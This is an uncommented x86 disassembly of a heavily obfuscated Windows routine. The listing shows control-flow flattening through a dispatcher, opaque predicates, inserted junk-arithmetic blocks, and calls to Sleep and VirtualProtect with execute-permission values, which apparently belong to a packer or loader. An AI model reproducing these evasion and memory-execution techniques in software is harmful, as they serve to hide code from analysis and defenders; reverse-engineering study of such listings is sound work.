xor eax, 0x66080413
xor ecx, 0x18410064
and ecx, 0x19f513ec
and eax, 0xe60aec13
or eax, ecx
mov ecx, eax
xor ecx, 0x4200ec02
xor eax, 0x11f41000
and eax, 0xb5fe1011
and ecx, 0x4a01efee
or ecx, eax
mov eax, ecx
xor eax, 0x94ac1010
xor ecx, 0xa018462
and ecx, 0x2b538463
and eax, 0xd4ac7b9c
or eax, ecx
cmp eax, 0xd4ac7b9c
setne cl
cmp dword [0x493580], 0xa
setge dl
mov eax, edx
or dl, cl
xor al, cl
mov ecx, eax
mov ah, al
not cl
and cl, al
xor cl, 1
xor ah, cl
or cl, al
xor cl, 1
or cl, ah
mov ah, cl
xor cl, 1
and cl, dl
xor dl, 1
and ah, dl
or cl, ah
mov ah, dl
or dl, al
xor ah, al
xor dl, 1
or dl, ah
mov eax, 0x84586f46
mov ch, dl
xor ch, cl
test dl, dl
mov edx, 0xcb31776f
cmovne eax, edx
test cl, cl
cmove eax, edx
test ch, 1
mov edx, 0x84586f46
cmove eax, edx
jmp 0x4021f0
mov eax, dword [ebp - 0x124]
mov ecx, dword [0x493584]
mov eax, dword [eax]
mov dword [ebp - 0x190], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xb3a999a5
mov esi, ecx
and esi, 0x4c56665a
mov edi, ecx
or edi, 0x44980122
and ecx, 0x8fb68e61
or edx, esi
and edi, 0xc6ba1772
mov esi, edx
xor edx, 0x44100002
xor esi, 0x8801
or edx, 0x82221650
and esi, 0x8008801
and edx, 0xc6ba1772
or esi, edx
mov edx, eax
and edx, 0x3145608c
and eax, 0x7049719e
or edx, edi
or eax, ecx
xor edx, esi
mov esi, edx
not esi
and edx, 0x4c988922
and esi, 0xb36776dd
or edx, esi
mov ecx, edx
not ecx
and edx, 0x13efbd58
mov esi, ecx
and esi, 0xec1042a7
or edx, esi
mov esi, eax
xor esi, 0x10493118
xor eax, 0x8c100221
and eax, 0xec1042a7
and esi, 0x13efbd58
or esi, eax
xor esi, edx
xor ecx, esi
test ecx, esi
mov esi, 0x2b08e948
setne dl
sete cl
cmp dword [0x493580], 0xa
setge al
mov ah, al
xor cl, al
or al, dl
xor ah, dl
xor al, 1
or al, ah
xor al, 1
or al, ah
mov edx, eax
not dl
and dl, cl
xor cl, 1
mov ah, cl
xor ah, al
and al, cl
and ah, cl
or al, dl
mov edx, 0x9c50b02a
mov cl, ah
xor cl, al
test al, al
cmovne edx, esi
test ah, ah
mov eax, 0x9c50b02a
jmp 0x413573
mov eax, dword [0x493584]
mov esi, 0x97436b17
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
and eax, ecx
not ecx
mov edx, ecx
and edx, 0xfffffffe
or eax, edx
mov edx, eax
not edx
and eax, 0xfa3b5841
and edx, 0x5c4a7be
or eax, edx
xor eax, 0xfa3b5841
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x60014161
and ecx, 0x9ffebe9e
or eax, ecx
xor eax, 0x60014161
setne al
sete dl
cmp dword [0x493580], 0xa
setge ah
setl cl
xor cl, dl
xor dl, ah
xor al, ah
and dl, ah
or al, dl
xor al, cl
and cl, al
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x33f140ea
cmovne eax, esi
test cl, cl
mov ecx, 0x33f140ea
cmove eax, esi
test dl, dl
cmove eax, ecx
jmp 0x4021f0
not esi
rcl eax, 0x70
not edx
imul eax
not ebx
dec edx
imul edi
neg edi
inc ebx
bswap edx
rol edi, 0x30
not ebx
imul eax
or eax, 0x50
neg ebx
inc esi
not edx
dec ebx
imul edi
dec eax
rcr eax, 0xbe
inc edi
not edx
not edi
rcr eax, 0x45
imul ebx
bswap ebx
inc edi
not edi
and esi, 0xf7
imul esi
rol eax, 0xf9
rol edi, 0xcc
ror esi, 0x6f
rcr ebx, 0x57
ror edi, 0x31
not edx
mov edx, 0x72
sub edi, 0x96
dec ebx
add esi, 0x1f
not edx
ror edi, 0xe0
rcl ebx, 0x1a
dec edx
add ebx, 0x84
imul edx
and edi, 0x36
or edx, 0xda
sbb edx, 0x1a
imul ebx
ror eax, 0x4c
add edx, 0xd6
rcr edi, 0x8d
dec eax
ror esi, 0xbd
sbb esi, 0xf8
inc edx
add esi, 0x25
not ebx
rcr edi, 0x3c
bswap esi
sbb ebx, 0x9a
and esi, 0x92
rcl esi, 0xdb
dec ebx
dec edi
imul ebx
mov ebx, 0x2f
rcl esi, 0xa5
imul ebx
imul eax
not ebx
rcl eax, 0x8a
bswap eax
bswap edx
inc edi
not edx
ror edi, 0xbf
and ebx, 0x6e
dec ebx
neg esi
inc edx
imul ebx
not edi
or eax, 0x78
not eax
rol ebx, 0xa8
not esi
ror esi, 0xd5
rcr eax, 0x6d
neg edi
imul eax
and ebx, 0x59
sub edi, 0xaf
dec eax
dec ebx
rol eax, 0xdb
rol edx, 0x50
imul eax
dec ebx
not edi
ror edx, 0x6f
neg edi
imul edi
rcl ebx, 0x87
rcr edx, 0x75
dec esi
bswap ebx
dec ebx
mov edi, 0x91
not esi
add esi, 0x5f
not ebx
inc esi
bswap edi
add eax, 0x27
sbb esi, 0xc7
rcr edx, 0xb1
rcr edi, 0x53
rcl eax, 0xf2
imul esi
inc edx
neg eax
rol edx, 4
rol ebx, 0xc7
dec eax
ror esi, 0x7f
bswap eax
dec edi
dec ebx
not esi
inc edi
neg eax
sbb ebx, 0x3d
not edx
sbb eax, 0xed
not edx
not eax
mov edx, 0xf7
and esi, 0xe5
sbb edx, 0xb
rcr esi, 0x3e
rcl eax, 8
not eax
ror edi, 0xad
and esi, 0x4b
and edi, 0x65
bswap eax
and edi, 0xf8
mov ecx, dword [ebp - 0x1c]
mov edi, 0xb46270d8
mov dword [ecx], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x80]
mov ecx, dword [ebp - 0x40]
mov dword [ecx], eax
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x44c3cd62
and eax, 1
mov edx, ecx
and edx, 0xbb3c329c
or esi, edx
xor esi, 0x44c3cd62
or eax, esi
mov esi, 0x34742fb0
not eax
or eax, ecx
cmp eax, 0xffffffff
setne dl
cmp dword [0x493580], 0xa
mov ch, dl
mov ah, dl
setge cl
setl al
inc ch
and ah, al
and ch, cl
and cl, dl
xor al, dl
or cl, ah
or cl, ch
mov edx, ecx
mov ah, cl
not dl
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
mov ecx, eax
xor dl, 1
or dl, ah
xor dl, 1
or cl, dl
xor dl, al
mov eax, ecx
xor al, dl
test dl, 1
mov edx, 0xb46270d8
cmovne edx, esi
test cl, 1
cmovne edx, edi
test al, 1
jmp 0x413161
mov eax, dword [0x493584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edi, ecx
and edi, 0x80300040
mov esi, ecx
xor esi, 0xe67c5446
mov edx, eax
and edx, 0x664c5406
and esi, ecx
and eax, 0x66aab47
or edi, edx
xor edi, 0x80300040
or esi, edi
mov edx, esi
not edx
and esi, 0x8a11836c
and edx, 0x75ee7c93
or esi, edx
mov edx, esi
xor edx, 0x4824160b
xor esi, 0x90020010
and esi, 0xb44bc130
and edx, 0x4bb43ecf
or edx, esi
mov esi, edx
xor esi, 0x2202a47
xor edx, 0xb44bc130
mov edi, edx
or edx, ecx
and ecx, 0xf99554b8
and edi, 0xf99554b8
and esi, 0x66aab47
or esi, edi
or eax, ecx
not edx
xor eax, esi
or edx, eax
mov eax, edx
not eax
and edx, 0xd9f84fc3
and eax, 0x2607b03c
or edx, eax
xor edx, 0xd9f84fc3
setne dl
sete ah
cmp dword [0x493580], 0xa
mov ch, dl
setl cl
setge al
or dl, cl
and ch, al
and cl, ah
or cl, ch
xor dl, 1
xor cl, 1
or cl, al
or al, ah
xor al, 1
mov ch, cl
or al, dl
xor ch, 1
mov edx, eax
mov ah, al
or al, ch
xor dl, 1
xor al, 1
and ah, cl
and ch, dl
xor dl, cl
or al, dl
or ch, ah
mov edx, 0xe6bba382
mov cl, al
xor cl, ch
test al, 1
mov eax, 0x3158c4c1
cmovne eax, edx
test ch, 1
cmove eax, edx
test cl, 1
mov edx, 0x3158c4c1
cmove eax, edx
jmp 0x4021f0
movzx eax, byte [ebp - 0x55]
mov ecx, dword [ebp - 0x78]
mov byte [ecx], al
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x78]
cmp byte [eax], 0
mov eax, dword [0x493584]
lea ecx, [eax + 1]
setne byte [ebp - 0xa6]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xa2db6539
and eax, 0x5d249ac6
or ecx, eax
mov eax, ecx
xor eax, 0x22d10029
xor ecx, 0x41208884
and ecx, 0xc12aed94
and eax, 0x3ed5126b
or eax, ecx
mov edx, eax
mov esi, eax
xor edx, 0x4100c014
xor esi, 0x3ed5126b
xor eax, 0x6010
mov ecx, esi
and ecx, 0x9cea2fea
and edx, 0x6315d015
or esi, 0x8010341
and eax, 0x6030
or edx, ecx
and esi, 0x8cd7034f
mov ecx, edx
xor edx, 0x9cea2fea
xor ecx, 0x6315d015
or eax, esi
mov edi, edx
or edi, 0x84d6000e
mov ebx, ecx
and ebx, 0x73289c80
and edx, 0xbc9ef901
and edi, 0x8cd7034f
or ebx, edi
xor eax, ebx
mov esi, eax
not esi
and eax, 0x35c2ec3e
and esi, 0xca3d13c1
or eax, esi
mov esi, ecx
and esi, 0x436106fe
and ecx, 1
or esi, edx
mov edx, eax
xor edx, 0xa4a620c
xor eax, 0xb1148c01
xor esi, 0xbc9ef900
and edx, 0x3b5a620c
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xca18a628
and esi, 0x35e759d7
or ecx, esi
mov esi, eax
and esi, 0xc4a59df3
or edx, esi
mov esi, ecx
xor esi, 0xa182208
xor ecx, 0x35e759d7
or eax, ecx
and ecx, 0xc4a59df3
and esi, 0x3b5a620c
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0x9ccc1e36
mov ecx, eax
not ecx
and eax, 0x256ccb64
and ecx, 0xda93349b
or ecx, eax
cmp ecx, 0x256ccb64
sete dl
cmp dword [0x493580], 0xa
mov ah, dl
setge cl
mov al, cl
or ah, cl
xor al, dl
not al
and al, cl
inc cl
xor al, 1
mov ch, al
or al, ah
xor ch, ah
mov ah, cl
or cl, dl
xor al, 1
xor ah, dl
xor cl, 1
or al, ch
or cl, ah
mov edx, ecx
mov ah, cl
and ah, al
xor dl, 1
xor al, 1
and dl, al
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xee255e0b
cmovne ecx, esi
test al, 1
mov eax, 0xee255e0b
jmp 0x412f61
mov eax, dword [ebp - 0x20]
mov eax, 0xcd71d254
jmp 0x4021f0
mov eax, 0x61c2b3e9
jmp 0x4021f0
push eax
mov eax, esp
mov dword [ebp - 0x1c], eax
push eax
mov eax, esp
mov dword [ebp - 0x7c], eax
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0x18], eax
push eax
mov eax, esp
mov dword [ebp - 0x24], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x90], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0x94], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x4c], eax
push eax
mov eax, esp
mov dword [ebp - 0x14], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0x2c], eax
push eax
mov ecx, dword [0x493584]
mov eax, esp
mov dword [ebp - 0x28], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x93778ec7
and ecx, 0x6c887138
or eax, ecx
mov esi, eax
xor esi, 0x3608800
xor eax, 0x83120
and eax, 0x901f37e7
and esi, 0x6fe0c818
or esi, eax
mov edx, esi
mov eax, esi
xor edx, 0x901f37e7
xor eax, 0x6fe0c818
xor esi, 0xb06185c1
mov ecx, edx
and esi, eax
and ecx, 0xdf814dd9
and edx, 0x22f40e60
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x207eb227
and esi, 0xdf814dd8
or ecx, esi
mov esi, eax
and esi, 0xdd0bf19f
and eax, 1
or esi, edx
mov edx, esi
xor edx, 0x2700c21
xor esi, 0x580aa000
or eax, edx
mov edx, ecx
and esi, 0x788ea240
not edx
and ecx, 0x7c9a18a7
and eax, 0x87715dbf
or eax, esi
mov esi, edx
and esi, 0x8365e758
or ecx, esi
mov esi, eax
xor esi, 0x41018a7
xor eax, 0x788ea240
or edx, eax
and eax, 0x8365e758
and esi, 0x7c9a18a7
or esi, eax
not edx
xor esi, ecx
or edx, esi
mov esi, 0x1c35843e
mov ecx, edx
not ecx
and edx, 0xd4604ce9
and ecx, 0x2b9fb316
or ecx, edx
mov eax, ecx
xor eax, 0xd44008a9
xor ecx, 0x2a951306
and ecx, 0x2ab55746
and eax, 0xd54aa8b9
or eax, ecx
mov ecx, eax
xor ecx, 0xc50288a9
xor eax, 0x20844340
and eax, 0x30cc6350
and ecx, 0xcf339caf
or ecx, eax
xor ecx, 0xcf339caf
sete cl
setne ah
cmp dword [0x493580], 0xa
setl dl
setge al
xor dl, cl
or al, ah
mov ah, dl
mov ecx, edx
xor ah, 1
and cl, ah
xor cl, 1
mov ch, cl
or cl, ah
xor ch, ah
xor cl, 1
or cl, ch
mov ah, cl
xor cl, 1
and ah, al
xor al, 1
and cl, al
or cl, ah
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xb5229ff5
cmovne edx, esi
test al, al
mov eax, 0xb5229ff5
jmp 0x41212f
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x50]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x50]
mov dword [ecx], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov dword [ebp - 0x120], eax
mov eax, dword [0x493584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xc716f4b4
mov edx, eax
and eax, 0x38e90b4b
and edx, 0xfffffffe
or eax, ecx
xor eax, 0x38e90b4a
or eax, edx
mov ecx, eax
not ecx
and eax, 0xcc537d2c
and ecx, 0x33ac82d3
or eax, ecx
mov ecx, eax
xor ecx, 0xc520128
xor eax, 0x10a48253
and eax, 0xd0a5fe57
and ecx, 0x2f5a01a8
or ecx, eax
mov eax, ecx
xor eax, 0xc0848006
xor ecx, 0xd100128
and ecx, 0x1d317f79
and eax, 0xe2ce8086
or eax, ecx
cmp eax, 0x1d317f79
setne cl
cmp dword [0x493580], 0xa
mov ch, cl
setl ah
setge dl
or dl, cl
xor cl, ah
or ch, ah
not cl
xor ch, 1
mov al, dl
and cl, ah
not al
or cl, ch
mov ah, cl
and cl, dl
xor ah, 1
and al, ah
or ah, dl
mov edx, 0x1c17f5ad
or al, cl
mov cl, ah
xor cl, al
test cl, 1
mov ecx, 0x122205cc
cmovne ecx, edx
test ah, ah
mov edx, 0x122205cc
jmp 0x412515
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov dword [ebp - 0x15c], eax
mov eax, 0xb29a2cf8
jmp 0x4021f0
mov ecx, dword [ebp - 0x1c8]
mov edx, ecx
not edx
mov esi, ecx
and esi, 0x2405913e
and ecx, 0xdd876c45
mov eax, edx
and eax, 0x802a6c40
mov edi, edx
or edi, 0xa42ffd7e
and edx, 0x227893ba
or esi, eax
mov eax, edi
not eax
and edi, 0x1bd00281
or ecx, edx
xor esi, 0x2405913e
or eax, esi
and eax, 0xe42ffd7e
or eax, edi
mov edi, ecx
xor edi, 0x84844c05
xor ecx, 0x227893ba
mov esi, eax
not esi
mov edx, eax
or eax, ecx
and edx, 0x5b73a258
and ecx, 0x5b73a258
and edi, 0xa48c5da7
and esi, 0xa48c5da7
or edi, ecx
not eax
or esi, edx
xor edi, esi
or eax, edi
mov ecx, eax
not ecx
and eax, 0xfa30eb03
and ecx, 0x5cf14fc
or eax, ecx
cmp eax, 0xfa30eb03
mov eax, 0x590a3cb3
jmp 0x40d0d7
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov dword [eax], 0
mov eax, 0x19a1496f
jmp 0x4021f0
mov eax, dword [ebp - 0x74]
mov dword [eax], 0x20
mov eax, 0xfc87c8ad
jmp 0x4021f0
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0xb67d533b
jmp 0x4021f0
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0x188]
mov dword [eax], ecx
mov eax, 0xb0404c58
jmp 0x4021f0
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x1e4], eax
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x1dc], eax
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x1e0], eax
push dword [ebp - 0x1d8]
push dword [ebp - 0x1dc]
push dword [ebp - 0x1e0]
push dword [ebp - 0x1e4]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x74]
mov eax, 0x78f6bc05
jmp 0x4021f0
mov eax, 0x85c9cac7
jmp 0x4021f0
cmp dword [ebp - 0x1cc], 0
mov eax, 0x159be00a
mov ecx, 0xa3d3fa3
cmove eax, ecx
jmp 0x4021f0
movzx eax, byte [ebp - 0x99]
movzx edx, byte [ebp - 0x9a]
mov esi, 0x1c35843e
mov edi, 0x5e8a05c2
mov ah, dl
mov ch, al
xor ah, 1
xor ch, 1
and ah, al
mov al, ch
xor al, dl
mov cl, al
and al, ch
and ch, dl
or ch, ah
xor cl, 1
or ch, al
mov dl, ch
xor dl, 1
mov eax, edx
and al, ch
xor dl, al
xor al, 1
or al, ch
xor al, 1
or al, dl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
test dl, 1
mov edx, 0x5e8a05c2
cmovne edx, esi
test al, 1
mov eax, edx
cmovne eax, edi
test cl, 1
cmove eax, edx
jmp 0x4021f0
mov eax, 0x8a948fa1
jmp 0x4021f0
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x13c]
mov dword [eax + 4], ecx
push dword [ebp - 0x64]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x34]
add eax, eax
mov ecx, dword [ecx]
mov word [ecx], ax
mov eax, dword [0x493584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov esi, ecx
or ecx, 0x7131ee46
and esi, 0x7131ee46
not eax
mov edx, ecx
not edx
and ecx, 0x8ece11b8
and eax, 0xfffffffe
or edx, esi
mov esi, 0xac9e0cbe
and edx, 0x7131ee47
or edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x42e8414c
and ecx, 0xbd17beb3
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x804829ef
and ecx, 0x7fb7d610
or eax, ecx
mov ecx, eax
xor ecx, 0x305f0554
xor eax, 0xc2a068a3
mov edx, eax
and edx, 0x8f80f2a9
and ecx, 0x707f0d56
or ecx, edx
xor ecx, 0x707f0d56
or ecx, eax
xor ecx, 0xffffffff
sete dl
setne ah
cmp dword [0x493580], 0xa
setl cl
setge al
or ah, cl
or al, dl
mov ch, ah
xor ch, al
or al, ah
mov ah, cl
xor cl, dl
or ah, dl
xor cl, 1
xor al, 1
mov edx, ecx
or cl, ah
or al, ch
xor dl, ah
xor cl, 1
or cl, dl
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor dl, 1
mov ch, dl
or dl, cl
xor ch, cl
mov cl, ah
or ah, al
xor dl, 1
xor cl, al
xor ah, 1
or dl, ch
or ah, cl
xor dl, al
mov ecx, 0xe27701f0
mov al, ah
xor al, dl
test al, 1
cmovne ecx, esi
test ah, 1
mov eax, 0xe27701f0
jmp 0x412f61
mov eax, 0xc62e53db
jmp 0x4021f0
mov eax, 0x45b514e7
jmp 0x4021f0
rcl eax, 0x55
add edx, 0x46
rol edi, 0x47
neg esi
rol edx, 0x60
mov ebx, 0xb1
imul ebx
neg esi
neg edi
rcr edi, 0x25
sbb edi, 0x63
not ebx
or edx, 0x21
imul ebx
not esi
rcl eax, 0x16
sub ebx, 0x20
rol edi, 0x64
or eax, 0x88
inc edx
rcl esi, 0xfd
rol ebx, 0xee
add eax, 0x50
dec edi
bswap edi
dec edx
mov esi, 0x67
bswap edx
neg ebx
sbb edx, 1
inc edi
and edx, 0xcb
inc edx
neg esi
bswap edi
ror edi, 0xf6
add edx, 0x63
neg edi
dec edi
rcl edi, 0x3d
not edi
neg esi
rol edx, 0xe7
inc esi
rcr edx, 0x4b
mov eax, 0x43
add edx, 0xe2
dec ebx
ror edi, 0xd3
dec eax
add edx, 0
sub edi, 0xe4
not edi
add edx, 0x10
bswap esi
imul edi
bswap esi
ror edi, 0xdd
ror edx, 0xb8
not edi
dec ebx
imul ebx
not edi
dec eax
imul edi
or eax, 6
inc edi
rcr esi, 0xdd
inc ebx
neg esi
rcl ebx, 0x53
inc edi
dec edi
sbb eax, 0x93
and esi, 0xd6
neg edi
rcr eax, 0x49
dec ebx
dec esi
add ebx, 8
ror ebx, 0xae
inc edx
sub edi, 0xba
rcl edi, 0xb7
add eax, 0x2e
bswap esi
neg ebx
inc edi
rol ebx, 0x91
bswap eax
bswap edi
neg esi
sub ebx, 0xba
rcl eax, 0x19
dec edi
ror edi, 3
sub edi, 0x40
not ebx
rcl edi, 0xae
not ebx
sbb ebx, 0xcb
rcl edx, 0xb5
imul edi
and ebx, 0x87
sbb edi, 0x95
inc ebx
inc edi
sbb eax, 0x98
rol edx, 0x83
bswap esi
bswap esi
mov ebx, 0x85
mov edx, 0
and ebx, 0x88
mov eax, 0xae
mov edx, 0xa9
not ebx
or esi, 0x43
dec edi
dec eax
or edi, 0x6e
inc edi
mov edi, 0x88
not esi
and edi, 0x19
imul edx
and edi, 0x2e
dec edi
ror esi, 0x9d
dec edi
not eax
mov ebx, 0x95
mov esi, 0x8d
ror edx, 0x83
rcr edi, 0x67
dec esi
inc eax
not edx
not edi
rcl esi, 0x67
add ebx, 0x31
neg edi
inc edx
sub edi, 0x5c
neg esi
ror edx, 0x76
sub edx, 0x4b
sbb eax, 0x15
bswap ebx
sub edx, 0x84
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0
mov eax, dword [ebp - 0x24]
mov dword [eax], 1
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0xdc]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x90]
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x35fb6741
mov esi, edx
and esi, 0xca0498be
and edx, 0x6bad5b0e
or ecx, esi
mov esi, ecx
xor ecx, 0x80009030
xor esi, 0x900100
or ecx, 0x4b0c28cf
and esi, 0x80908110
mov edi, ecx
and edi, 0x7e677ea3
or esi, edi
mov edi, eax
xor edi, 0xb4f3d730
and edi, eax
and eax, 0x9452a4f1
mov ebx, edi
not ebx
and edi, 0x8198815c
or eax, edx
or ecx, ebx
and ebx, 0x7e677ea3
xor eax, 0x9452a4f1
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov edi, 0x8b22a334
mov esi, ecx
not esi
and ecx, 0xa7aaed2d
and esi, 0x585512d2
or ecx, esi
mov esi, 0xa6295c9e
xor ecx, 0xeca6c5e3
or eax, ecx
cmp eax, 0xffffffff
sete dl
cmp dword [0x493580], 0xa
mov eax, edx
setl cl
xor dl, cl
or al, cl
mov ecx, edx
and cl, al
xor al, 1
or al, dl
mov ebx, ecx
mov ah, al
xor bl, al
and al, cl
and bl, cl
not ah
xor cl, 1
and cl, ah
mov ch, bl
or al, cl
xor ch, al
test al, al
mov eax, 0x8b22a334
cmovne eax, esi
test bl, bl
cmove eax, edi
test ch, 1
cmovne eax, esi
jmp 0x4021f0
mov eax, 0x657697f0
jmp 0x4021f0
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*8]
mov dword [ebp - 0x134], eax
mov eax, 0xa1e71c6f
jmp 0x4021f0
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x48]
inc eax
mov dword [ecx], eax
mov eax, 0xd11e094b
jmp 0x4021f0
mov eax, dword [ebp - 0x24]
mov dword [eax], 1
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
or ecx, 0x12022753
not edx
mov esi, edx
or esi, 0xe4d84820
and ecx, 0xf6da6f73
and edx, 0x1250088
or edx, ecx
mov ecx, eax
and esi, 0xf6da6f73
and ecx, 0x8009004
or ecx, esi
xor ecx, edx
mov edx, ecx
not edx
and ecx, 0xe5fd48a9
and edx, 0x1a02b756
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn esi, eax, edx
or ecx, esi
mov esi, 0xd3d0a359
not ecx
or ecx, edx
xor ecx, 0xffffffff
sete ah
setne ch
cmp dword [0x493580], 0xa
mov cl, ah
setge dh
setl al
mov dl, dh
or cl, al
xor al, ah
inc dl
and al, cl
mov cl, dl
mov ebx, edx
or dl, ah
and cl, dh
xor bl, cl
xor cl, 1
or cl, dh
xor cl, 1
or cl, bl
mov dh, cl
and cl, ch
xor dh, 1
and dh, ah
or cl, dh
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
mov edx, eax
or cl, ah
xor cl, 1
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x2744ffe3
cmovne esi, eax
test cl, 1
mov eax, 0xd3d0a359
cmovne eax, esi
jmp 0x412fe9
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x98]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x13c], eax
mov eax, dword [0x493584]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov esi, edx
or esi, 0x29401150
and edx, 0x1009e62c
mov ecx, eax
or ecx, 0x42960801
and esi, 0x6bd61951
and eax, 0x84200082
and ecx, 0x6bd61951
or eax, esi
or edx, ecx
xor edx, eax
mov eax, edx
not eax
and edx, 0x555175d0
and eax, 0xaaae8a2f
or edx, eax
mov esi, edx
mov edi, edx
xor esi, 0x11263801
xor edi, 0x6c1882ac
xor edx, 0x2000140
mov eax, edi
and eax, 0x86c9455e
and esi, 0x7936baa1
or edi, 0x38543296
and edx, 0x42000148
or esi, eax
mov ecx, esi
mov ebx, esi
xor ecx, 0x7936baa1
xor ebx, 0xbe9d77c8
xor esi, 0x84c84514
and ebx, ecx
and esi, 0xcdca4fb5
mov eax, ebx
not eax
and ebx, 0x5254035a
mov dword [ebp - 0x6c], eax
and dword [ebp - 0x6c], 0xadabfca5
or eax, edi
and edi, 0xadabfca5
add ebx, dword [ebp - 0x6c]
or edx, edi
not eax
mov edi, ecx
and edi, 0x3235b04a
and ecx, 1
or edi, esi
xor edx, ebx
or eax, edx
mov edx, eax
not edx
and eax, 0x5e2a6ee2
and edx, 0xa1d5911d
or eax, edx
mov edx, edi
xor edx, 0x4c4241b0
xor edi, 0x2012002
or ecx, edx
mov edx, eax
xor edx, 0x607c0470
xor eax, 0x9981a38a
and edi, 0x83892e06
and ecx, 0x7c76d1f9
mov esi, eax
and esi, 0x17827a0d
and edx, 0xe87d85f2
or ecx, edi
or edx, esi
mov esi, ecx
xor esi, 0x687481f0
xor ecx, 0x83892e06
or eax, ecx
and ecx, 0x17827a0d
and esi, 0xe87d85f2
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0xb7c6d18
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x2d4fb6fe
andn eax, eax, eax
and edx, 0xd2b04901
or ecx, edx
xor ecx, 0x2d4fb6fe
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xa68273f9
and ecx, 0x597d8c06
or eax, ecx
mov ecx, eax
xor ecx, 0x26021038
xor eax, 0x41280002
and eax, 0xc1a863c3
and ecx, 0x3e579c3c
or ecx, eax
xor ecx, 0x3e579c3c
setne ah
sete cl
cmp dword [0x493580], 0xa
setl dl
setge al
mov ch, dl
or al, ah
xor ch, cl
or cl, dl
xor dl, ah
xor al, 1
or al, ch
mov ah, dl
and cl, ch
xor ah, al
or al, dl
